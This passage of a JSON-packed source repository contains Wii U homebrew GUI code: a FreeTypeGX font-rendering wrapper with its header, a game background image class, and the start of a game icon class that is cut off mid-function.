&ftFace->glyph->bitmap;\n\n\t\t\ttextureWidth = ALIGN4(glyphBitmap->width);\n\t\t\ttextureHeight = ALIGN4(glyphBitmap->rows);\n\t\t\tif(textureWidth == 0)\n\t\t\t\ttextureWidth = 4;\n\t\t\tif(textureHeight == 0)\n\t\t\t\ttextureHeight = 4;\n\n            ftgxCharData *charData = &ftData->ftgxCharMap[charCode];\n\t\t\tcharData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left;\n\t\t\tcharData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6);\n\t\t\tcharData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6);\n\t\t\tcharData->glyphIndex = (uint32_t) gIndex;\n\t\t\tcharData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top;\n\t\t\tcharData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top;\n\t\t\tcharData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top;\n\n            //! Initialize texture\n            charData->texture = new GX2Texture;\n            GX2InitTexture(charData->texture, textureWidth,  textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED);\n\n\t\t\tloadGlyphData(glyphBitmap, charData);\n\n\t\t\treturn charData;\n\t\t}\n\t}\n\treturn NULL;\n}\n\n/**\n * Locates each character in this wrapper's configured font face and proccess them.\n *\n * This routine locates each character in the configured font face and renders the glyph's bitmap.\n * Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map.\n */\nuint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize)\n{\n\tuint32_t i = 0;\n\tFT_UInt gIndex;\n\n\tFT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex);\n\twhile (gIndex != 0)\n\t{\n\t\tif (cacheGlyphData(charCode, pixelSize) != NULL) ++i;\n\t\tcharCode = FT_Get_Next_Char(ftFace, charCode, &gIndex);\n\t}\n\treturn (uint16_t) (i);\n}\n\n/**\n * Loads the rendered bitmap into the relevant structure's data buffer.\n *\n * This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer.\n * Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value.\n *\n * @param bmp   A pointer to the most recently rendered glyph's bitmap.\n * @param charData  A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph.\n */\n\nvoid FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData)\n{\n\tcharData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size);\n\tif(!charData->texture->surface.image_data)\n        return;\n\n\tmemset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size);\n\n\tuint8_t *src = (uint8_t *)bmp->buffer;\n\tuint16_t *dst = (uint16_t *)charData->texture->surface.image_data;\n\tint32_t x, y;\n\n\tfor(y = 0; y < bmp->rows; y++)\n\t{\n\t\tfor(x = 0; x < bmp->width; x++)\n\t\t{\n\t\t    uint8_t intensity = src[y * bmp->width + x] >> 3;\n            dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0;\n\t\t}\n\t}\n    GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size);\n}\n\n/**\n * Determines the x offset of the rendered string.\n *\n * This routine calculates the x offset of the rendered string based off of a supplied positional format parameter.\n *\n * @param width Current pixel width of the string.\n * @param format\tPositional format of the string.\n */\nint16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format)\n{\n\tif (format & FTGX_JUSTIFY_LEFT)\n\t\treturn 0;\n\telse if (format & FTGX_JUSTIFY_CENTER)\n\t\treturn -(width >> 1);\n\telse if (format & FTGX_JUSTIFY_RIGHT) return -width;\n\treturn 0;\n}\n\n/**\n * Determines the y offset of the rendered string.\n *\n * This routine calculates the y offset of the rendered string based off of a supplied positional format parameter.\n *\n * @param offset\tCurrent pixel offset data of the string.\n * @param format\tPositional format of the string.\n */\nint16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize)\n{\n\tstd::map<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);\n\tif (itr == fontData.end()) return 0;\n\n\tswitch (format & FTGX_ALIGN_MASK)\n\t{\n\t\tcase FTGX_ALIGN_TOP:\n\t\t\treturn itr->second.ftgxAlign.descender;\n\n\t\tcase FTGX_ALIGN_MIDDLE:\n\t\tdefault:\n\t\t\treturn (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1;\n\n\t\tcase FTGX_ALIGN_BOTTOM:\n\t\t\treturn itr->second.ftgxAlign.ascender;\n\n\t\tcase FTGX_ALIGN_BASELINE:\n\t\t\treturn 0;\n\n\t\tcase FTGX_ALIGN_GLYPH_TOP:\n\t\t\treturn itr->second.ftgxAlign.max;\n\n\t\tcase FTGX_ALIGN_GLYPH_MIDDLE:\n\t\t\treturn (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1;\n\n\t\tcase FTGX_ALIGN_GLYPH_BOTTOM:\n\t\t\treturn itr->second.ftgxAlign.min;\n\t}\n\treturn 0;\n}\n\n/**\n * Processes the supplied text string and prints the results at the specified coordinates.\n *\n * This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer,\n * a texture from said buffer, and loads the resultant texture into the EFB.\n *\n * @param x Screen X coordinate at which to output the text.\n * @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs.\n * @param text  NULL terminated string to output.\n * @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff}\n * @param textStyle Flags which specify any styling which should be applied to the rendered string.\n * @return The number of characters printed.\n */\n\nuint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float & colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale)\n{\n\tif (!text)\n        return 0;\n\n\tuint16_t fullTextWidth = (textWidth > 0) ? textWidth : getWidth(text, pixelSize);\n\tuint16_t x_pos = x, printed = 0;\n\tuint16_t x_offset = 0, y_offset = 0;\n\tFT_Vector pairDelta;\n\n\tif (textStyle & FTGX_JUSTIFY_MASK)\n\t{\n\t\tx_offset = getStyleOffsetWidth(fullTextWidth, textStyle);\n\t}\n\tif (textStyle & FTGX_ALIGN_MASK)\n\t{\n\t\ty_offset = getStyleOffsetHeight(textStyle, pixelSize);\n\t}\n\n\tint32_t i = 0;\n\twhile (text[i])\n\t{\n\t\tftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);\n\n\t\tif (glyphData != NULL)\n\t\t{\n\t\t\tif (ftKerningEnabled && i > 0)\n\t\t\t{\n\t\t\t\tFT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);\n\t\t\t\tx_pos += (pairDelta.x >> 6);\n\n\t\t\t}\n\t\t\tcopyTextureToFramebuffer(video, glyphData->texture,x_pos + glyphData->renderOffsetX + x_offset, y + glyphData->renderOffsetY - y_offset, z, color, textBlur, colorBlurIntensity, blurColor,internalRenderingScale);\n\n\t\t\tx_pos += glyphData->glyphAdvanceX;\n\t\t\t++printed;\n\t\t}\n\t\t++i;\n\t}\n\n\treturn printed;\n}\n\n\n/**\n * Processes the supplied string and return the width of the string in pixels.\n *\n * This routine processes each character of the supplied text string and calculates the width of the entire string.\n * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.\n *\n * @param text  NULL terminated string to calculate.\n * @return The width of the text string in pixels.\n */\nuint16_t FreeTypeGX::getWidth(const wchar_t *text, int16_t pixelSize)\n{\n\tif (!text) return 0;\n\n\tuint16_t strWidth = 0;\n\tFT_Vector pairDelta;\n\tint32_t i = 0;\n\n\twhile (text[i])\n\t{\n\t\tftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);\n\n\t\tif (glyphData != NULL)\n\t\t{\n\t\t\tif (ftKerningEnabled && (i > 0))\n\t\t\t{\n\t\t\t\tFT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[text[i - 1]].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);\n\t\t\t\tstrWidth += pairDelta.x >> 6;\n\t\t\t}\n\n\t\t\tstrWidth += glyphData->glyphAdvanceX;\n\t\t}\n\t\t++i;\n\t}\n\treturn strWidth;\n}\n\n/**\n * Single char width\n */\nuint16_t FreeTypeGX::getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar)\n{\n\tuint16_t strWidth = 0;\n\tftgxCharData * glyphData = cacheGlyphData(wChar, pixelSize);\n\n\tif (glyphData != NULL)\n\t{\n\t\tif (ftKerningEnabled && prevChar != 0x0000)\n\t\t{\n\t\t\tFT_Vector pairDelta;\n\t\t\tFT_Get_Kerning(ftFace, fontData[pixelSize].ftgxCharMap[prevChar].glyphIndex, glyphData->glyphIndex, FT_KERNING_DEFAULT, &pairDelta);\n\t\t\tstrWidth += pairDelta.x >> 6;\n\t\t}\n\t\tstrWidth += glyphData->glyphAdvanceX;\n\t}\n\n\treturn strWidth;\n}\n\n/**\n * Processes the supplied string and return the height of the string in pixels.\n *\n * This routine processes each character of the supplied text string and calculates the height of the entire string.\n * Note that if precaching of the entire font set is not enabled any uncached glyph will be cached after the call to this function.\n *\n * @param text  NULL terminated string to calculate.\n * @return The height of the text string in pixels.\n */\nuint16_t FreeTypeGX::getHeight(const wchar_t *text, int16_t pixelSize)\n{\n\tgetOffset(text, pixelSize);\n\treturn fontData[pixelSize].ftgxAlign.max - fontData[pixelSize].ftgxAlign.min;\n}\n\n/**\n * Get the maximum offset above and minimum offset below the font origin line.\n *\n * This function calculates the maximum pixel height above the font origin line and the minimum\n * pixel height below the font origin line and returns the values in an addressible structure.\n *\n * @param text  NULL terminated string to calculate.\n * @param offset returns the max and min values above and below the font origin line\n *\n */\nvoid FreeTypeGX::getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit)\n{\n\tif (fontData.find(pixelSize) != fontData.end())\n        return;\n\n\tint16_t strMax = 0, strMin = 9999;\n\tuint16_t currWidth = 0;\n\n\tint32_t i = 0;\n\n\twhile (text[i])\n\t{\n\t\tif (widthLimit > 0 && currWidth >= widthLimit) break;\n\n\t\tftgxCharData* glyphData = cacheGlyphData(text[i], pixelSize);\n\n\t\tif (glyphData != NULL)\n\t\t{\n\t\t\tstrMax = glyphData->renderOffsetMax > strMax ? glyphData->renderOffsetMax : strMax;\n\t\t\tstrMin = glyphData->renderOffsetMin < strMin ? glyphData->renderOffsetMin : strMin;\n\t\t\tcurrWidth += glyphData->glyphAdvanceX;\n\t\t}\n\n\t\t++i;\n\t}\n\n\tif (ftPointSize != pixelSize)\n\t{\n\t\tftPointSize = pixelSize;\n\t\tFT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);\n\t}\n\n\tfontData[pixelSize].ftgxAlign.ascender = ftFace->size->metrics.ascender >> 6;\n\tfontData[pixelSize].ftgxAlign.descender = ftFace->size->metrics.descender >> 6;\n\tfontData[pixelSize].ftgxAlign.max = strMax;\n\tfontData[pixelSize].ftgxAlign.min = strMin;\n}\n\n/**\n * Copies the supplied texture quad to the EFB.\n *\n * This routine uses the in-built GX quad builder functions to define the texture bounds and location on the EFB target.\n *\n * @param texObj\tA pointer to the glyph's initialized texture object.\n * @param texWidth  The pixel width of the texture object.\n * @param texHeight The pixel height of the texture object.\n * @param screenX   The screen X coordinate at which to output the rendered texture.\n * @param screenY   The screen Y coordinate at which to output the rendered texture.\n * @param color Color to apply to the texture.\n */\nvoid FreeTypeGX::copyTextureToFramebuffer(CVideo *pVideo, GX2Texture *texture, int16_t x, int16_t y, int16_t z, const glm::vec4 & color, const float & defaultBlur, const float & blurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale)\n{\n    static const f32 imageAngle = 0.0f;\n    static const f32 blurScale = (2.0f/ (internalRenderingScale));\n\n    f32 offsetLeft = blurScale * ((f32)x + 0.5f * (f32)texture->surface.width) * (f32)pVideo->getWidthScaleFactor();\n    f32 offsetTop = blurScale * ((f32)y -  0.5f * (f32)texture->surface.height) * (f32)pVideo->getHeightScaleFactor();\n\n    f32 widthScale = blurScale * (f32)texture->surface.width * pVideo->getWidthScaleFactor();\n    f32 heightScale = blurScale * (f32)texture->surface.height * pVideo->getHeightScaleFactor();\n\n    glm::vec3 positionOffsets( offsetLeft, offsetTop, (f32)z );\n\n     //! blur doubles  due to blur we have to scale the texture\n    glm::vec3 scaleFactor( widthScale, heightScale, 1.0f );\n\n    glm::vec3 blurDirection;\n    blurDirection[2] = 1.0f;\n\n    Texture2DShader::instance()->setShaders();\n    Texture2DShader::instance()->setAttributeBuffer();\n    Texture2DShader::instance()->setAngle(imageAngle);\n    Texture2DShader::instance()->setOffset(positionOffsets);\n    Texture2DShader::instance()->setScale(scaleFactor);\n    Texture2DShader::instance()->setTextureAndSampler(texture, &ftSampler);\n\n    if(blurIntensity > 0.0f)\n    {\n        //! glow blur color\n        Texture2DShader::instance()->setColorIntensity(blurColor);\n\n        //! glow blur horizontal\n        blurDirection[0] = blurIntensity;\n        blurDirection[1] = 0.0f;\n        Texture2DShader::instance()->setBlurring(blurDirection);\n        Texture2DShader::instance()->draw();\n\n        //! glow blur vertical\n        blurDirection[0] = 0.0f;\n        blurDirection[1] = blurIntensity;\n        Texture2DShader::instance()->setBlurring(blurDirection);\n        Texture2DShader::instance()->draw();\n    }\n\n    //! set text color\n    Texture2DShader::instance()->setColorIntensity(color);\n\n    //! blur horizontal\n    blurDirection[0] = defaultBlur;\n    blurDirection[1] = 0.0f;\n    Texture2DShader::instance()->setBlurring(blurDirection);\n    Texture2DShader::instance()->draw();\n\n    //! blur vertical\n    blurDirection[0] = 0.0f;\n    blurDirection[1] = defaultBlur;\n    Texture2DShader::instance()->setBlurring(blurDirection);\n    Texture2DShader::instance()->draw();\n}\n"
  },
  {
    "path": "src/gui/FreeTypeGX.h",
    "content": "/*\n * FreeTypeGX is a wrapper class for libFreeType which renders a compiled\n * FreeType parsable font into a GX texture for Wii homebrew development.\n * Copyright (C) 2008 Armin Tamzarian\n * Modified by Dimok, 2015 for WiiU GX2\n *\n * This file is part of FreeTypeGX.\n *\n * FreeTypeGX is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published\n * by the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * FreeTypeGX is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with FreeTypeGX.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#ifndef FREETYPEGX_H_\n#define FREETYPEGX_H_\n\n#include <gctypes.h>\n#include <string>\n#include <ft2build.h>\n#include FT_FREETYPE_H\n#include FT_BITMAP_H\n\n#include <malloc.h>\n#include <string.h>\n#include <wchar.h>\n#include <map>\n\n#include <glm/glm.hpp>\n#include <glm/gtc/matrix_transform.hpp>\n\n#include \"dynamic_libs/gx2_functions.h\"\n\n/*! \\struct ftgxCharData_\n *\n * Font face character glyph relevant data structure.\n */\ntypedef struct ftgxCharData_\n{\n    int16_t renderOffsetX; /**< Texture X axis bearing offset. */\n    uint16_t glyphAdvanceX; /**< Character glyph X coordinate advance in pixels. */\n    uint16_t glyphAdvanceY; /**< Character glyph Y coordinate advance in pixels. */\n    uint32_t glyphIndex; /**< Charachter glyph index in the font face. */\n\n    int16_t renderOffsetY; /**< Texture Y axis bearing offset. */\n    int16_t renderOffsetMax; /**< Texture Y axis bearing maximum value. */\n    int16_t renderOffsetMin; /**< Texture Y axis bearing minimum value. */\n\n    GX2Texture * texture;\n} ftgxCharData;\n\n/*! \\struct ftgxDataOffset_\n *\n * Offset structure which hold both a maximum and minimum value.\n */\ntypedef struct ftgxDataOffset_\n{\n    int16_t ascender; /**< Maximum data offset. */\n    int16_t descender; /**< Minimum data offset. */\n    int16_t max; /**< Maximum data offset. */\n    int16_t min; /**< Minimum data offset. */\n} ftgxDataOffset;\n\ntypedef struct ftgxCharData_ ftgxCharData;\ntypedef struct ftgxDataOffset_ ftgxDataOffset;\n#define _TEXT(t) L ## t /**< Unicode helper macro. */\n\n#define FTGX_NULL\t\t\t   0x0000\n#define FTGX_JUSTIFY_LEFT\t   0x0001\n#define FTGX_JUSTIFY_CENTER\t 0x0002\n#define FTGX_JUSTIFY_RIGHT\t  0x0004\n#define FTGX_JUSTIFY_MASK\t   0x000f\n\n#define FTGX_ALIGN_TOP\t\t  0x0010\n#define FTGX_ALIGN_MIDDLE\t   0x0020\n#define FTGX_ALIGN_BOTTOM\t   0x0040\n#define FTGX_ALIGN_BASELINE\t 0x0080\n#define FTGX_ALIGN_GLYPH_TOP\t0x0100\n#define FTGX_ALIGN_GLYPH_MIDDLE 0x0200\n#define FTGX_ALIGN_GLYPH_BOTTOM 0x0400\n#define FTGX_ALIGN_MASK\t\t 0x0ff0\n\n#define FTGX_STYLE_UNDERLINE\t0x1000\n#define FTGX_STYLE_STRIKE\t   0x2000\n#define FTGX_STYLE_MASK\t\t 0xf000\n\n/**< Constant color value used only to sanitize Doxygen documentation. */\nstatic const GX2ColorF32 ftgxWhite = (GX2ColorF32){ 1.0f, 1.0f, 1.0f, 1.0f };\n\n\n//! forward declaration\nclass CVideo;\n\n/*! \\class FreeTypeGX\n * \\brief Wrapper class for the libFreeType library with GX rendering.\n * \\author Armin Tamzarian\n * \\version 0.2.4\n *\n * FreeTypeGX acts as a wrapper class for the libFreeType library. It supports precaching of transformed glyph data into\n * a specified texture format. Rendering of the data to the EFB is accomplished through the application of high performance\n * GX texture functions resulting in high throughput of string rendering.\n */\nclass FreeTypeGX\n{\n\tprivate:\n\t\tFT_Library ftLibrary; /**< FreeType FT_Library instance. */\n\t\tFT_Face ftFace; /**< FreeType reusable FT_Face typographic object. */\n\t\tint16_t ftPointSize; /**< Current set size of the rendered font. */\n\t\tbool ftKerningEnabled; /**< Flag indicating the availability of font kerning data. */\n\t\tuint8_t vertexIndex; /**< Vertex format descriptor index. */\n        GX2Sampler ftSampler;\n\n        typedef struct _ftGX2Data\n        {\n            ftgxDataOffset ftgxAlign;\n            std::map<wchar_t, ftgxCharData> ftgxCharMap;\n        } ftGX2Data;\n\n\t\tstd::map<int16_t, ftGX2Data> fontData; /**< Map which holds the glyph data structures for the corresponding characters in one size. */\n\n\t\tint16_t getStyleOffsetWidth(uint16_t width, uint16_t format);\n\t\tint16_t getStyleOffsetHeight(int16_t format, uint16_t pixelSize);\n\n\t\tvoid unloadFont();\n\t\tftgxCharData *cacheGlyphData(wchar_t charCode, int16_t pixelSize);\n\t\tuint16_t cacheGlyphDataComplete(int16_t pixelSize);\n\t\tvoid loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData);\n\n\t\tvoid copyTextureToFramebuffer(CVideo * pVideo, GX2Texture *tex, int16_t screenX, int16_t screenY, int16_t screenZ, const glm::vec4 & color, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale);\n\n\tpublic:\n\t\tFreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace = false);\n\t\t~FreeTypeGX();\n\n\t\tuint16_t drawText(CVideo * pVideo, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color,\n                            uint16_t textStyling, uint16_t textWidth, const float &textBlur, const float &colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale);\n\n\t\tuint16_t getWidth(const wchar_t *text, int16_t pixelSize);\n\t\tuint16_t getCharWidth(const wchar_t wChar, int16_t pixelSize, const wchar_t prevChar = 0x0000);\n\t\tuint16_t getHeight(const wchar_t *text, int16_t pixelSize);\n\t\tvoid getOffset(const wchar_t *text, int16_t pixelSize, uint16_t widthLimit = 0);\n\n        static wchar_t* charToWideChar(const char* p);\n        static char* wideCharToUTF8(const wchar_t* strChar);\n};\n\n#endif /* FREETYPEGX_H_ */\n"
  },
  {
    "path": "src/gui/GameBgImage.cpp",
    "content": "#include \"GameBgImage.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Shader3D.h\"\n\nGameBgImage::GameBgImage(const std::string & filename, GuiImageData *preloadImage)\n    : GuiImageAsync(filename, preloadImage)\n{\n    identity = glm::mat4(1.0f);\n    alphaFadeOut = glm::vec4(1.0f, 0.075f, 5.305f, 2.0f);\n}\n\nGameBgImage::~GameBgImage()\n{\n}\n\nvoid GameBgImage::draw(CVideo *pVideo)\n{\n    if(!getImageData() || !getImageData()->getTexture())\n        return;\n\n    //! first setup 2D GUI positions\n    f32 currPosX = getCenterX();\n    f32 currPosY = getCenterY();\n    f32 currPosZ = getDepth();\n    f32 currScaleX = getScaleX() * (f32)getWidth() * pVideo->getWidthScaleFactor();\n    f32 currScaleY = getScaleY() * (f32)getHeight() * pVideo->getHeightScaleFactor();\n    f32 currScaleZ = getScaleZ() * (f32)getWidth() * pVideo->getDepthScaleFactor();\n\n    glm::mat4 m_modelView = glm::translate(identity, glm::vec3(currPosX,currPosY, currPosZ));\n    m_modelView = glm::scale(m_modelView, glm::vec3(currScaleX, currScaleY, currScaleZ));\n\n    Shader3D::instance()->setShaders();\n    Shader3D::instance()->setProjectionMtx(identity);\n    Shader3D::instance()->setViewMtx(identity);\n    Shader3D::instance()->setModelViewMtx(m_modelView);\n    Shader3D::instance()->setTextureAndSampler(getImageData()->getTexture(), getImageData()->getSampler());\n    Shader3D::instance()->setAlphaFadeOut(alphaFadeOut);\n    Shader3D::instance()->setDistanceFadeOut(0.0f);\n    Shader3D::instance()->setColorIntensity(glm::vec4(1.0f, 1.0f, 1.0f, getAlpha()));\n    Shader3D::instance()->setAttributeBuffer();\n    Shader3D::instance()->draw();\n}\n"
  },
  {
    "path": "src/gui/GameBgImage.h",
    "content": "#ifndef _GAME_BG_IMAGE_H_\n#define _GAME_BG_IMAGE_H_\n\n#include \"GuiImageAsync.h\"\n#include \"video/shaders/Shader3D.h\"\n\nclass GameBgImage : public GuiImageAsync\n{\npublic:\n    GameBgImage(const std::string & filename, GuiImageData *preloadImage);\n    virtual ~GameBgImage();\n\n    void setAlphaFadeOut(const glm::vec4 & a) {\n        alphaFadeOut = a;\n    }\n\n    void draw(CVideo *pVideo);\nprivate:\n    glm::mat4 identity;\n    glm::vec4 alphaFadeOut;\n};\n\n#endif // _GAME_BG_IMAGE_H_\n"
  },
  {
    "path": "src/gui/GameIcon.cpp",
    "content": "#include \"GameIcon.h\"\n#include \"GameIconModel.h\"\n#include \"Application.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Shader3D.h\"\n#include \"video/shaders/ShaderFractalColor.h\"\n\nstatic const f32 cfIconMirrorScale = 1.15f;\nstatic const f32 cfIconMirrorAlpha = 0.45f;\n\nGameIcon::GameIcon(const std::string & filename, GuiImageData *preloadImage)\n    : GuiImageAsync(filename, preloadImage)\n{\n    bSelected = false;\n    bRenderStroke = true;\n    bRenderReflection = false;\n    bIconLast = false;\n    strokeFractalEnable = 1;\n    strokeBlurBorder = 0.0f;\n    distanceFadeout = 0.0f;\n    rotationX = 0.0f;\n    reflectionAlpha = 0.4f;\n    strokeWidth = 2.35f;\n    colorIntensity = glm::vec4(1.0f);\n    colorIntensityMirror = colorIntensity;\n    alphaFadeOutNorm = glm::vec4(0.0f);\n    alphaFadeOutRefl = glm::vec4(-1.0f, 0.0f, 0.9f, 1.0f);\n    selectionBlurOuterColorIntensity = glm::vec4(0.09411764f * 1.15f, 0.56862745f * 1.15f, 0.96862745098f * 1.15f, 1.0f);\n    selectionBlurOuterSize = 1.65f;\n    selectionBlurOuterBorderSize = 0.5f;\n    selectionBlurInnerColorIntensity = glm::vec4(0.46666667f, 0.90588235f, 1.0f, 1.0f);\n    selectionBlurInnerSize = 1.45f;\n    selectionBlurInnerBorderSize = 0.95f;\n\n    vtxCount = sizeof(cfGameIconPosVtxs) / (Shader3D::cuVertexAttrSize);\n\n    //! texture and vertex coordinates\n    posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconPosVtxs));\n    texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconTexCoords));\n\n    if(posVtxs)\n    {\n        memcpy((f32*)posVtxs, cfGameIconPosVtxs, sizeof(cfGameIconPosVtxs));\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, (f32*)posVtxs, sizeof(cfGameIconPosVtxs));\n    }\n    if(texCoords)\n    {\n        memcpy((f32*)texCoords, cfGameIconTexCoords, sizeof(cfGameIconTexCoords));\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, (f32*)texCoords, sizeof(cfGameIconTexCoords));\n    }\n\n    //! create vertexes for the mirror frame\n    texCoordsMirror = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconTexCoords));\n\n    if(texCoordsMirror)\n    {\n        for(u32 i = 0; i < vtxCount; i++)\n        {\n            texCoordsMirror[i*2 + 0] = texCoords[i*2 + 0] * cfIconMirrorScale - ((cfIconMirrorScale - 1.0f) - (cfIconMirrorScale - 1.0f) * 0.5f);\n            texCoordsMirror[i*2 + 1] = texCoords[i*2 + 1] * cfIconMirrorScale - ((cfIconMirrorScale - 1.0f) - (cfIconMirrorScale - 1.0f) * 0.5f);\n        }\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoordsMirror, sizeof(cfGameIconTexCoords));\n    }\n\n    //! setup stroke of the icon\n    strokePosVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, sizeof(cfGameIconStrokeVtxs));\n    if(strokePosVtxs)\n    {\n        memcpy(strokePosVtxs, cfGameIconStrokeVtxs, sizeof(cfGameIconStrokeVtxs));\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokePosVtxs, sizeof(cfGameIconStrokeVtxs));\n    }\n    strokeTexCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuGameIconStrokeVtxCount * Shader::cuTexCoordAttrSize);\n    if(strokeTexCoords)\n    {\n        for(size_t i = 0, n = 0; i < cuGameIconStrokeVtxCount; n += 2, i += 3)\n        {\n            strokeTexCoords[n] = (1.0f + strokePosVtxs[i]) * 0.5f;\n            strokeTexCoords[n+1] = 1.0f - (1.0f + strokePosVtxs[i+1]) * 0.5f;\n        }\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokeTexCoords, cuGameIconStrokeVtxCount * Shader::cuTexCoordAttrSize);\n    }\n    strokeColorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuGameIconStrokeVtxCount * Shader::cuColorAttrSize);\n    if(strokeColorVtxs)\n    {\n        for(size_t i = 0; i < (cuGameIconStrokeVtxCount * Shader::cuColorAttrSize); i++)\n            strokeColorVtxs[i] = 0xff;\n        GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, strokeColorVtxs, cuGameIconStrokeVtxCount * Shader::cuColorAttrSize);\n    }\n}\n\nGameIcon::~GameIcon()\n{\n    //! remove image so it can not be drawn anymore from this point on\n    imageData = NULL;\n\n    //! main image vertexes\n    if(posVtxs)\n    {\n        free((void*)posVtxs);\n        posVtxs = NULL;\n    }\n    if(texCoords)\n    {\n        free((void*)texCoords);\n        texCoords = NULL;\n    }\n    //! mirror image vertexes\n    if(texCoordsMirror)\n    {\n        free(texCoordsMirror);\n        texCoordsMirror = NULL;\n    }\n    //! stroke image vertexes\n    if(strokePosVtxs)\n    {\n        free(strokePosVtxs);\n        strokePosVtxs = NULL;\n    }\n    if(strokeTexCoords)\n    {\n        free(strokeTexCoords);\n        strokeTexCoords = NULL;\n    }\n    if(strokeColorVtxs)\n    {\n        free(strokeColorVtxs);\n        strokeColorVtxs = NULL;\n    }\n}\n\nbool GameIcon::checkRayIntersection(const glm::vec3 & rayOrigin, const glm::vec3 & rayDirFrac)\n{\n    //! since we always face the camera we can just check the AABB intersection\n    //! otherwise an OOB intersection would be required\n\n    f32 currPosX = getCenterX() * Application::instance()->getVideo()->getWidthScaleFactor() * 2.0f;\n    f32 currPosY = getCenterY() * Application::instance()->getVideo()->getHeightScaleFactor() * 2.0f;\n    f32 currPosZ = getDepth() * Application::instance()->getVideo()->getDepthScaleFactor() * 2.0f;\n    f32 currScaleX = getScaleX() * (f32)getWidth() * Application::instance()->getVideo()->getWidthScaleFactor();\n    f32 currScaleY = getScaleY() * (f32)getHeight() * Application::instance()->getVideo()->getHeightScaleFactor();\n    f32 currScaleZ = getScaleZ() * (f32)getWidth() * Application::instance()->getVideo()->getDepthScaleFactor();\n    //! lb is the corner of AABB with minimal coordinates - left bottom, rt is maximal corner\n    glm::vec3 lb(currPosX - currScaleX, currPosY - currScaleY, currPosZ - currScaleZ);\n    glm::vec3 rt(currPosX + currScaleX, currPosY + currScaleY, currPosZ + currScaleZ);\n\n    float t1 = (lb.x - rayOrigin.x) * rayDirFrac.x;\n    float t2 = (rt.x - rayOrigin.x) * rayDirFrac.x;\n    float t3 = (lb.y - rayOrigin.y) * rayDirFrac.y;\n    float t4 = (rt.y - 